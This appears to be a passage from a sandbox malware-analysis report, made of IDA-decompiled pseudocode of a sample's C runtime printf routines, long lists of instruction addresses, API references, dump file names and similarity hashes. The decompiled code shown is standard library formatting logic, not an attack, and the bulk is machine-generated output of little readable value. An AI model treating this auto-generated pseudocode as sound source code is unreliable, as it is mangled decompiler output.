																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xe:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																	}
																case 8:
																	L30:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	goto L33;
																case 9:
																	L31:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L33;
																case 0xa:
																	L29:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xb:
																	L28:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L33;
																case 0xc:
																	L32:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xd:
																	L33:
																	goto L218;
															}
														} else {
															if(0 == 0) {
																 *(_t557 - 0x314) = 0;
															} else {
																 *(_t557 - 0x314) = 1;
															}
															_t543 =  *(_t557 - 0x314);
															 *(_t557 - 0x278) =  *(_t557 - 0x314);
															if( *(_t557 - 0x278) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t526 = L0041E420();
																_t559 = _t559 + 0x14;
																if(_t526 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t557 - 0x278) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422F10(_t543))) = 0x16;
																E00422CA0(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t557 - 0x2f0) = 0xffffffff;
																E0041AEC0(_t557 - 0x40);
																_t499 =  *(_t557 - 0x2f0);
																L229:
																return E0042BD60(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
															}
														}
													}
													L219:
													__eflags =  *(_t557 - 0x25c);
													if( *(_t557 - 0x25c) == 0) {
														L222:
														 *(_t557 - 0x334) = 1;
														L223:
														_t530 =  *(_t557 - 0x334);
														 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t504 = L0041E420();
															_t559 = _t559 + 0x14;
															__eflags = _t504 - 1;
															if(_t504 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) != 0) {
															 *(_t557 - 0x300) =  *(_t557 - 0x24c);
															E0041AEC0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x300);
														} else {
															 *((intOrPtr*)(L00422F10(_t530))) = 0x16;
															E00422CA0(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t557 - 0x2fc) = 0xffffffff;
															E0041AEC0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2fc);
														}
														goto L229;
													}
													L220:
													__eflags =  *(_t557 - 0x25c) - 7;
													if( *(_t557 - 0x25c) == 7) {
														goto L222;
													}
													L221:
													 *(_t557 - 0x334) = 0;
													goto L223;
												}
											}
											L187:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L190;
											}
											L188:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L190;
											}
											goto L189;
										}
										L183:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x2bc);
										__edx =  *(__ebp - 0x2c0);
										__eax = E00430830( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
										 *(__ebp - 0x2ac) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x2bc);
										__ecx =  *(__ebp - 0x2c0);
										 *(__ebp - 0x2c0) = E004308B0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
										 *(__ebp - 0x2bc) = __edx;
										__eflags =  *(__ebp - 0x2ac) - 0x39;
										if( *(__ebp - 0x2ac) > 0x39) {
											__edx =  *(__ebp - 0x2ac);
											__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
											__eflags = __edx;
											 *(__ebp - 0x2ac) = __edx;
										}
										__eax =  *(__ebp - 4);
										__cl =  *(__ebp - 0x2ac);
										 *( *(__ebp - 4)) = __cl;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										goto L182;
									}
								}
								L168:
								__eflags =  *(__ebp - 0x2b8);
								if( *(__ebp - 0x2b8) >= 0) {
									goto L170;
								}
								goto L169;
								L170:
								__ecx =  *(__ebp - 0x2b8);
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
								__edx =  *(__ebp - 0x2b4);
								 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
								goto L171;
							}
						}
					}
				}
			}

0x00435044
0x00435044
0x00435044
0x00435044
0x00435044
0x00435044
0x00435044
0x0043504b
0x0043504b
0x0043504b
0x00435061
0x00435061
0x00435061
0x0043506b
0x0043506b
0x00435071
0x00435073
0x0043507d
0x0043507d
0x00435080
0x00435083
0x00435083
0x004350aa
0x004350aa
0x004350ad
0x004350ad
0x004350b2
0x004350d4
0x004350d4
0x004350da
0x004350fc
0x004350fc
0x004350ff
0x00435146
0x00435146
0x00435149
0x00435166
0x0043516a
0x00435172
0x00435172
0x00435174
0x0043517a
0x0043514b
0x0043514b
0x0043514f
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435104
0x00435107
0x00435125
0x00435131
0x00435134
0x00435135
0x0043513b
0x00435109
0x00435109
0x0043510d
0x00435115
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350dc
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b4
0x004350c0
0x004350c6
0x004350c6
0x00435183
0x00435183
0x00435186
0x00000000
0x00000000
0x00435188
0x00435188
0x0043518f
0x00000000
0x00000000
0x00435191
0x00435191
0x0043519c
0x004351a2
0x004351a4
0x004351aa
0x004351ad
0x004351af
0x004351b5
0x004351be
0x004351c3
0x004351e0
0x004351e3
0x004351e3
0x004351e8
0x004351ed
0x004351ed
0x004351f3
0x004351f5
0x004351fb
0x00435201
0x00435201
0x0043520a
0x0043520a
0x004351f3
0x00435210
0x00435214
0x00435222
0x00435225
0x00435228
0x0043522f
0x00435231
0x00435231
0x00435216
0x00435216
0x00435216
0x0043523e
0x0043523e
0x00435244
0x00435246
0x00435246
0x0043524d
0x00435250
0x00435253
0x00435253
0x00435253
0x00435259
0x0043525c
0x0043525f
0x00435261
0x00000000
0x00000000
0x00435263
0x00435269
0x00435269
0x0043526f
0x004352ec
0x004352ef
0x004352f2
0x004352f5
0x004352f8
0x004352fb
0x00435301
0x00435301
0x00435307
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x0043533c
0x0043533f
0x0043533f
0x00435342
0x00435347
0x00435347
0x0043534c
0x0043535e
0x0043535e
0x00435361
0x00435373
0x00435373
0x00435376
0x00435378
0x0043537c
0x0043537c
0x00435363
0x00435363
0x00435367
0x00435367
0x0043534e
0x0043534e
0x00435352
0x00435352
0x0043534c
0x00435386
0x00435389
0x0043538c
0x00435395
0x00435395
0x00435398
0x0043539a
0x004353a1
0x004353a5
0x004353ae
0x004353b3
0x004353b6
0x004353bd
0x004353c1
0x004353c5
0x004353d1
0x004353d4
0x004353d4
0x004353d7
0x004353dc
0x004353dc
0x004353df
0x004353e1
0x004353e8
0x004353ec
0x004353f5
0x004353fa
0x004353df
0x004353fd
0x00435401
0x004354d5
0x004354d5
0x004354dc
0x004354e0
0x004354e4
0x004354e8
0x00000000
0x00435407
0x00435407
0x00435407
0x0043540b
0x00000000
0x00000000
0x00435411
0x00435411
0x0043541b
0x0043541e
0x00435424
0x00435427
0x0043542d
0x0043542d
0x0043542d
0x00435439
0x0043543c
0x00435442
0x00435444
0x00000000
0x00000000
0x0043544a
0x0043544a
0x00435453
0x0043545a
0x00435464
0x0043546b
0x0043547a
0x00435486
0x00435489
0x0043548f
0x00435496
0x004354a1
0x004354a1
0x00000000
0x004354a1
0x00435498
0x00435498
0x0043549f
0x004354ad
0x004354ad
0x004354b4
0x004354b8
0x004354c6
0x00000000
0x004354cb
0x00000000
0x0043549f
0x004354d3
0x004354f0
0x004354f0
0x004354f7
0x004354fc
0x004354fc
0x004354ff
0x00435501
0x00435508
0x0043550c
0x00435515
0x0043551a
0x004354ff
0x004354f7
0x0043551d
0x0043551d
0x00435521
0x00435529
0x00435531
0x00435531
0x00435538
0x00435538
0x0043460f
0x00434615
0x00434622
0x00434627
0x00000000
0x0043463a
0x00434644
0x0043466b
0x00434652
0x00434663
0x00434663
0x00434644
0x00434675
0x0043467b
0x00434687
0x0043468a
0x00434698
0x0043469b
0x004346a8
0x0043474d
0x00434753
0x00434759
0x00434760
0x00000000
0x00000000
0x00434766
0x0043476c
0x00000000
0x00434773
0x00434773
0x0043478b
0x00434790
0x00434793
0x00434795
0x0043484f
0x00434862
0x00434867
0x00000000
0x0043479b
0x004347ae
0x004347b3
0x004347b9
0x004347bb
0x004347c4
0x004347c4
0x004347c7
0x004347d3
0x004347d7
0x004347dd
0x004347df
0x004347e4
0x004347e6
0x004347eb
0x004347f0
0x004347f2
0x004347f7
0x004347fa
0x004347fd
0x004347ff
0x004347ff
0x004347fd
0x00434800
0x00434800
0x00434807
0x00000000
0x00434809
0x0043480e
0x0043482a
0x00434832
0x0043483f
0x00434844
0x00000000
0x00434844
0x00434807
0x00000000
0x0043486f
0x0043486f
0x00434876
0x00434879
0x0043487c
0x0043487f
0x00434882
0x00434885
0x00434888
0x0043488f
0x00434896
0x00000000
0x00000000
0x004348a2
0x004348a2
0x004348a9
0x004348b5
0x004348b8
0x004348be
0x004348c5
0x00000000
0x00000000
0x004348c7
0x004348c7
0x004348cd
0x004348cd
0x004348d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434917
0x00434917
0x0043491e
0x00434921
0x0043494b
0x0043494e
0x0043494e
0x00434951
0x00434958
0x00434958
0x0043495c
0x00434923
0x00434923
0x0043492f
0x00434932
0x00434936
0x00434938
0x0043493b
0x0043493b
0x0043493e
0x00434944
0x00434946
0x00434946
0x00434949
0x00000000
0x00000000
0x00434964
0x00434964
0x00000000
0x00000000
0x00434970
0x00434970
0x00434977
0x0043497a
0x0043499a
0x0043499d
0x0043499d
0x004349a7
0x004349a7
0x004349ab
0x0043497c
0x0043497c
0x00434988
0x0043498b
0x0043498f
0x00434991
0x00434991
0x00434998
0x00000000
0x00000000
0x004349b3
0x004349b3
0x004349ba
0x004349c6
0x004349c9
0x004349cf
0x004349d6
0x00434ae9
0x00000000
0x00434ae9
0x004349dc
0x004349dc
0x004349e2
0x004349e2
0x004349e9
0x00000000
0x00434a1f
0x00434a1f
0x00434a22
0x00434a25
0x00434a28
0x00434a50
0x00434a50
0x00434a53
0x00434a56
0x00434a59
0x00434a7e
0x00434a7e
0x00434a81
0x00434a84
0x00434a87
0x00434ac0
0x00434ad1
0x00000000
0x00434ad1
0x00434a89
0x00434a89
0x00434a8c
0x00434a8f
0x00434a92
0x00000000
0x00000000
0x00434a94
0x00434a94
0x00434a97
0x00434a9a
0x00434a9d
0x00000000
0x00000000
0x00434a9f
0x00434a9f
0x00434aa2
0x00434aa5
0x00434aa8
0x00000000
0x00000000
0x00434aaa
0x00434aaa
0x00434aad
0x00434ab0
0x00434ab3
0x00000000
0x00000000
0x00434ab5
0x00434ab5
0x00434ab8
0x00434abb
0x00434abe
0x00434ac2
0x00000000
0x00434ac2
0x00000000
0x00434abe
0x00434a5b
0x00434a5b
0x00434a5e
0x00434a62
0x00434a65
0x00000000
0x00434a67
0x00434a6a
0x00434a6d
0x00434a70
0x00434a73
0x00434a79
0x00000000
0x00434a79
0x00434a65
0x00434a2a
0x00434a2a
0x00434a2d
0x00434a31
0x00434a34
0x00000000
0x00434a36
0x00434a39
0x00434a3c
0x00434a3f
0x00434a42
0x00434a48
0x00000000
0x00434a48
0x00000000
0x00434ad3
0x00434ad6
0x00434ad9
0x00000000
0x00000000
0x004349f0
0x004349f0
0x004349f3
0x004349f6
0x004349f9
0x00434a11
0x00434a14
0x00434a14
0x00434a17
0x004349fb
0x004349fe
0x00434a01
0x00434a07
0x00434a0c
0x00434a0c
0x00000000
0x00000000
0x00434ade
0x00434ade
0x00434ae1
0x00434ae1
0x00434ae6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434aee
0x00434aee
0x00434af5
0x00434b01
0x00434b04
0x00434b0a
0x00434b11
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00435332
0x00434b17
0x00434b1d
0x00434b1d
0x00434b24
0x00000000
0x00434e7e
0x00434e7e
0x00434e85
0x00434e8c
0x00434e8c
0x00434e8f
0x00000000
0x00000000
0x00434b2b
0x00434b2e
0x00434b2e
0x00434b34
0x00434b36
0x00434b39
0x00434b39
0x00434b3e
0x00434b3e
0x00000000
0x00000000
0x00434c6b
0x00434c6e
0x00434c6e
0x00434c73
0x00434c75
0x00434c78
0x00434c78
0x00434c7e
0x00434c7e
0x00000000
0x00000000
0x0043504b
0x0043504b
0x00000000
0x00000000
0x00434bd5
0x00434bd5
0x00434be1
0x00434be7
0x00434bee
0x00434bfc
0x00434bfc
0x00434c02
0x00434c05
0x00434c11
0x00434c66
0x00000000
0x00434c66
0x00434bf0
0x00434bf0
0x00434bf6
0x00434bfa
0x00434c16
0x00434c19
0x00434c19
0x00434c1f
0x00434c47
0x00434c4e
0x00434c54
0x00434c57
0x00434c5a
0x00434c60
0x00434c63
0x00434c21
0x00434c21
0x00434c27
0x00434c2a
0x00434c2d
0x00434c33
0x00434c36
0x00434c39
0x00434c3b
0x00434c3e
0x00434c3e
0x00000000
0x00434c1f
0x00000000
0x00000000
0x00434e95
0x00434e98
0x00434e9b
0x00434e9e
0x00434ea4
0x00434ea7
0x00434eae
0x00434eb2
0x00434ebd
0x00434ebd
0x00434ec1
0x00434ed8
0x00434ed8
0x00434edf
0x00434ee1
0x00434ee1
0x00434ee8
0x00434ee8
0x00434eef
0x00434f00
0x00434f0f
0x00434f12
0x00434f16
0x00434f2c
0x00434f18
0x00434f18
0x00434f1b
0x00434f21
0x00434f27
0x00434f27
0x00434f16
0x00434f36
0x00434f39
0x00434f3c
0x00434f3f
0x00434f42
0x00434f45
0x00434f4b
0x00434f51
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f69
0x00434f6a
0x00434f6d
0x00434f6e
0x00434f71
0x00434f72
0x00434f78
0x00434f79
0x00434f87
0x00434f89
0x00434f8f
0x00434f8f
0x00434f95
0x00434f97
0x00434f9b
0x00434f9d
0x00434fa5
0x00434fa6
0x00434fa9
0x00434faa
0x00434fb8
0x00434fba
0x00434fba
0x00434f9b
0x00434fbd
0x00434fc4
0x00434fc7
0x00434fcc
0x00434fcc
0x00434fd2
0x00434fd4
0x00434fdc
0x00434fdd
0x00434fe0
0x00434fe1
0x00434ff0
0x00434ff2
0x00434ff2
0x00434fd2
0x00434ff5
0x00434ff8
0x00434ffb
0x00434ffe
0x00435003
0x00435009
0x0043500c
0x0043500f
0x0043500f
0x00435012
0x00435012
0x00435015
0x00435021
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00000000
0x00435332
0x00434ec3
0x00434ec3
0x00434eca
0x00434ecd
0x00000000
0x00000000
0x00434ecf
0x00434ecf
0x00000000
0x00434ecf
0x00434eb4
0x00434eb4
0x00000000
0x00000000
0x00434b41
0x00434b44
0x00434b44
0x00434b4a
0x00434ba5
0x00434bad
0x00434bb4
0x00434bba
0x00434bc0
0x00434b4c
0x00434b4c
0x00434b56
0x00434b5a
0x00434b62
0x00434b69
0x00434b76
0x00434b7d
0x00434b89
0x00434b8f
0x00434b96
0x00434b98
0x00434b98
0x00434b9f
0x00434bc7
0x00434bcd
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00000000
0x00435029
0x0043502c
0x0043502f
0x00435032
0x00000000
0x00000000
0x00434d87
0x00434d87
0x00434d93
0x00434d99
0x00434d9e
0x00434da0
0x00434e4a
0x00434e4d
0x00434e4d
0x00434e50
0x00434e64
0x00434e6a
0x00434e70
0x00434e52
0x00434e52
0x00434e5f
0x00434e5f
0x00434e72
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00435332
0x00434da6
0x00434da6
0x00434da6
0x00434da8
0x00434db6
0x00434daa
0x00434daa
0x00434daa
0x00434dc0
0x00434dc6
0x00434dcc
0x00434dd3
0x00434dd5
0x00434dda
0x00434ddc
0x00434de1
0x00434de6
0x00434de8
0x00434ded
0x00434df0
0x00434df3
0x00434df5
0x00434df5
0x00434df3
0x00434df6
0x00434dfd
0x00434e45
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00434dff
0x00434dff
0x00434e04
0x00434e20
0x00434e28
0x00434e32
0x00434e35
0x00434e3a
0x00000000
0x00434e3a
0x00000000
0x0043508c
0x0043508c
0x00435096
0x00435096
0x0043509c
0x0043509e
0x004350a1
0x004350a1
0x004350a7
0x004350a7
0x004350aa
0x004350ad
0x004350ad
0x004350b2
0x004350d4
0x004350d4
0x004350da
0x004350fc
0x004350fc
0x004350ff
0x00435146
0x00435146
0x00435149
0x00435166
0x0043516a
0x00435172
0x00435172
0x00435174
0x0043517a
0x0043514b
0x0043514b
0x0043514f
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435104
0x00435107
0x00435125
0x00435131
0x00435134
0x00435135
0x0043513b
0x00435109
0x00435109
0x0043510d
0x00435115
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350dc
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b4
0x004350c0
0x004350c6
0x004350c6
0x00435183
0x00435183
0x00435186
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434c81
0x00434c81
0x00434c85
0x00434c93
0x00434c96
0x00434c87
0x00434c87
0x00434c87
0x00434c9c
0x00434ca2
0x00434ca8
0x00434cb4
0x00434cba
0x00434cba
0x00434cc0
0x00434d27
0x00434d27
0x00434d2b
0x00434d2d
0x00434d33
0x00434d33
0x00434d36
0x00434d39
0x00434d3f
0x00434d3f
0x00434d3f
0x00434d4b
0x00434d4e
0x00434d54
0x00434d56
0x00000000
0x00000000
0x00434d58
0x00434d58
0x00434d5e
0x00434d61
0x00434d63
0x00000000
0x00000000
0x00434d65
0x00434d6b
0x00434d6e
0x00434d6e
0x00434d76
0x00434d76
0x00434d7c
0x00434d7c
0x00434d7f
0x00000000
0x00434cc2
0x00434cc2
0x00434cc2
0x00434cc6
0x00434cc8
0x00434ccd
0x00434ccd
0x00434cd0
0x00434cd7
0x00434cda
0x00434ce0
0x00434ce0
0x00434ce0
0x00434cec
0x00434cef
0x00434cf5
0x00434cf7
0x00000000
0x00000000
0x00434cf9
0x00434cf9
0x00434cff
0x00434d02
0x00434d04
0x00000000
0x00000000
0x00434d06
0x00434d0c
0x00434d0f
0x00434d0f
0x00434d17
0x00434d1d
0x00434d20
0x00434d22
0x00434d82
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00435332
0x00000000
0x0043503b
0x0043503b
0x004350aa
0x004350aa
0x004350ad
0x004350ad
0x004350b2
0x004350d4
0x004350d4
0x004350da
0x004350fc
0x004350fc
0x004350ff
0x00435146
0x00435146
0x00435149
0x00435166
0x0043516a
0x00435172
0x00435172
0x00435174
0x0043517a
0x0043514b
0x0043514b
0x0043514f
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435104
0x00435107
0x00435125
0x00435131
0x00435134
0x00435135
0x0043513b
0x00435109
0x00435109
0x0043510d
0x00435115
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350dc
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b4
0x004350c0
0x004350c6
0x004350c6
0x00435183
0x00435183
0x00435186
0x00000000
0x00000000
0x00000000
0x00435186
0x00000000
0x00435057
0x00435057
0x00435061
0x00435061
0x0043506b
0x0043506b
0x00435071
0x00435073
0x0043507d
0x0043507d
0x00435080
0x00435083
0x00435083
0x004350aa
0x004350aa
0x004350ad
0x004350ad
0x004350b2
0x004350d4
0x004350d4
0x004350da
0x004350fc
0x004350fc
0x004350ff
0x00435146
0x00435146
0x00435149
0x00435166
0x0043516a
0x00435172
0x00435172
0x00435174
0x0043517a
0x0043514b
0x0043514b
0x0043514f
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435104
0x00435107
0x00435125
0x00435131
0x00435134
0x00435135
0x0043513b
0x00435109
0x00435109
0x0043510d
0x00435115
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350dc
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b4
0x004350c0
0x004350c6
0x004350c6
0x00435183
0x00435183
0x00435186
0x00000000
0x00000000
0x00000000
0x00435186
0x00000000
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00000000
0x00000000
0x004348f1
0x004348f4
0x004348f7
0x00000000
0x00000000
0x004348fc
0x004348ff
0x00434904
0x00000000
0x00000000
0x004348e6
0x004348e6
0x004348e9
0x004348ec
0x00000000
0x00000000
0x004348db
0x004348de
0x004348e1
0x00000000
0x00000000
0x00434909
0x00434909
0x0043490c
0x0043490c
0x0043490f
0x00000000
0x00000000
0x00434912
0x00000000
0x00000000
0x004346ae
0x004346b0
0x004346be
0x004346b2
0x004346b2
0x004346b2
0x004346c8
0x004346ce
0x004346db
0x004346dd
0x004346e2
0x004346e4
0x004346e9
0x004346ee
0x004346f0
0x004346f5
0x004346fb
0x004346fd
0x004346fd
0x004346fb
0x004346fe
0x00434705
0x00000000
0x00434707
0x0043470c
0x00434728
0x00434730
0x0043473d
0x00434742
0x00435601
0x0043560e
0x0043560e
0x00434705
0x004346a8
0x0043553d
0x0043553d
0x00435544
0x0043555b
0x0043555b
0x00435565
0x00435565
0x0043556b
0x00435571
0x00435578
0x0043557a
0x0043557f
0x00435581
0x00435586
0x0043558b
0x0043558d
0x00435592
0x00435595
0x00435598
0x0043559a
0x0043559a
0x00435598
0x0043559b
0x004355a2
0x004355ed
0x004355f6
0x004355fb
0x004355a4
0x004355a9
0x004355c5
0x004355cd
0x004355da
0x004355df
0x004355df
0x00000000
0x004355a2
0x00435546
0x00435546
0x0043554d
0x00000000
0x00000000
0x0043554f
0x0043554f
0x00000000
0x0043554f
0x00435332
0x00435309
0x00435309
0x0043530d
0x0043531a
0x0043531d
0x00435320
0x00435323
0x00435326
0x00435329
0x0043532c
0x0043532c
0x0043532f
0x00000000
0x0043532f
0x0043530f
0x0043530f
0x00435312
0x00435315
0x00435318
0x00000000
0x00000000
0x00000000
0x00435318
0x00435271
0x00435271
0x00435274
0x00435277
0x0043527e
0x00435285
0x0043528d
0x00435293
0x00435296
0x00435299
0x004352a0
0x004352ac
0x004352b2
0x004352b8
0x004352bf
0x004352c1
0x004352c7
0x004352c7
0x004352cd
0x004352cd
0x004352d3
0x004352d6
0x004352dc
0x004352e1
0x004352e4
0x00435253
0x00435253
0x00435259
0x0043525c
0x0043525f
0x00435261
0x00000000
0x00000000
0x00000000
0x00435261
0x00435253
0x00435193
0x00435193
0x0043519a
0x00000000
0x00000000
0x00000000
0x004351c8
0x004351c8
0x004351ce
0x004351d4
0x004351da
0x00000000
0x004351da
0x004350aa
0x00435061
0x0043504b

APIs

_get_int64_arg.LIBCMTD ref: 004350B8
__aullrem.LIBCMT ref: 00435285
__aulldiv.LIBCMT ref: 004352A7

Strings

0, xrefs: 00435073
9, xrefs: 004352B8

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction ID: c346764b4d68733b64950d9a58c134d549481ddf6a37f5d22a0ac407ab67cbf4
Opcode Fuzzy Hash: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction Fuzzy Hash: F4410471D15A29DFEF24CF88C889BAEB7B5BB48304F2091DAD408A7240C7395E81CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00427DD5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427DD5() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *(_t524 - 0x30) = 8;
					while(1) {
						L137:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L139:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L144:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428400(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
